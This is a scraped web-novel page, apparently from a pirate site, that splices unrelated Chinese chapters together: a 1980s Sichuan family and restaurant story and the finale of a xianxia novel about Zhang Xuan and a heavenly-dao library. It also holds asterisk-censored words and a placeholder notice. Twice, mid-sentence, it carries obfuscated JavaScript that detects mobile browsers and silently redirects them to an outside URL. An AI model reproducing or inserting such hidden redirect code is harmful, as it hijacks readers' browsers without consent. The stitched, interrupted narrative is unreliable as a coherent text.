周砚握住了老太太的手，笑着说道：“奶奶，只要中韩建交，我就带你去韩国看看。我看报纸上说了，国际形势越来越好，要不了多久就可以了，到时候我们坐飞机去。” 老太太闻言也笑了，点头道：“要得。” 因为担心小叔一只手骑车带着老太太不**全，周砚特意骑车把奶奶送回了家。 …… “爸爸，我有一个好消息和一个坏消息，你要先听哪一个？”嘉州邮政厅内，段语嫣抓着电话说道。 “乖乖，你把你奶奶说通了？她愿意来香港了？”电话那头传来了川普。 段语嫣有些得意道：“没错，好消息就是经过我的不懈努力，剥丝抽茧，终于把奶奶的心结解开，她刚刚已经同意，下个月底跟我一起回香江住一段时间。” “太好了！乖乖，你真有点本事啊！你大伯和小姑昨天才来家里跟我商量，要是你奶奶不愿意来，他们下个月就带上娃娃一起回嘉州看望她。”电话那头的声音顿时激动起来。 段语嫣把话筒拿的离耳朵远了一点，等那边声音停下，才道：“你让小姑和大伯不用来了，一大家子来回折腾也不方便，我下个月就带奶奶回来。” “要得！要得！” “对了，你刚刚说还有个坏消息是啥子呢？” “我说了你不要骂人哈。”段语嫣说道。 “你说嘛，我是文明人，不得骂人的。” 段语嫣左右看了一眼，斟酌了一下用词，捂着话筒小声道：“奶奶的心结是当年曾经跟她有过婚约的苏稽汪家少爷汪遇，我已经找到他人了。今天我还带奶奶跟他见了一面，老太太可高兴了，穿了身新旗袍，回来一路上都是笑吟吟的。” “沃日！” 电话那头传来了一阵丁铃当啷的声音，像是什么东西倒地的杂音。 过了一会，电话里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200264|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才重新传出声音：“你说的是汪遇？苏稽汪家的汪遇？你哪里找到他的？不是查无此人吗？” “诶？爸爸，你知道他啊？” 电话那头沉默了一会，道：“你爷爷前几年给我写信的时候提到过，他说最大的遗憾就是没有找到汪遇，要是能让他跟你奶奶见一面，你奶奶应该会很开心。” “你爷爷还说，汪遇是保家卫国的英雄，他没得那么大本事，只能保护好你奶奶。” “可怜你奶奶连汪遇是生是死都不晓得，心头肯定会挂念，找不到人，他总觉得有些亏欠你奶奶。” “乖乖，你做的太好了，你爷爷要是晓得，肯定很高兴。” 电话那头的声音有些哽咽。 段语嫣紧紧抓着话筒，嘴巴微微张着，眼里泪光闪烁，满是震惊与愧疚。 爷爷…… 对奶奶也太好了吧！ 难怪奶奶提起他，眼里总是亮晶晶的，像是有光芒在闪耀。 唯有深爱，才总觉得亏欠吧。 “乖乖，等你回来了，我把中环那套房改到你名下嘛。还有之前你说的那个分公司，直接去当总经理，没得事，你随便整，那总裁跟我几十年了，他承受得住……” 后面的话她都没怎么听得清，只觉得心中被爱意填满，像是在寒冷的冬日里喝了一碗热汤，心里暖暖的。 “爸爸，我觉得这个世界是美好的。” 电话那头沉默了一会，传来了男人的笑声：“乖乖，我跟你妈等你回来一起吃晚饭。” “嗯。” …… 苏稽。 镇国营饭店后厨。 主任严文和与厨师长范庆丰还有领班吴丹珍凑在一起，看着架子上剩下的菜，表情略显凝重。 严文和说道：“哪里出了问题呢？平时周末一天都有四五十桌客人，今天只有三十桌，备的菜第一次剩那么多！” “有肉，有素菜，还有鱼摆摆。”吴丹珍想了想，开口道：“主任，这要啷个分呢？我娃娃昨天才说想吃鱼摆摆，你们不要的话，我就拿回去嘛。” “今天这排骨还可以，放着明天要酸，我拿回去炖排骨汤嘛。”范庆丰开口道。 严文和闻言盯住了那块五花肉，差不多有一斤半，点点头：“要得，那我就要这块五花肉嘛。” 三人把肉给分了。 严文和提着五花肉，想了想，又道：“我还是觉得不太对劲，这客人一下子少了十几桌，跑哪里去了呢？是不是镇上新开了啥子饭店？把生意抢走了。” “哎呀，严主任！少两桌就少两桌嘛，你看今天我们大家多轻松，客人也不会紧到催命。”吴丹珍笑着道：“反正大家就拿这些工资，太忙了谁遭得住，端菜端的手都要断了。” “小吴说的有道理。”范庆丰跟着点头。 严文和闻言也是不耐的摆摆手：“要的嘛，下班下班。” 提着五花肉出门的时候，还从架子上抱了个莲花白走。 …… 求月票！   (本章完) 最后一天求月票！ 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200265|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第147章 无声豆腐（6k二合一） “存款2158.82元，购房款进度21%！” 周砚把今天的钱点完装回箱子，然后在账本上把账目记下。 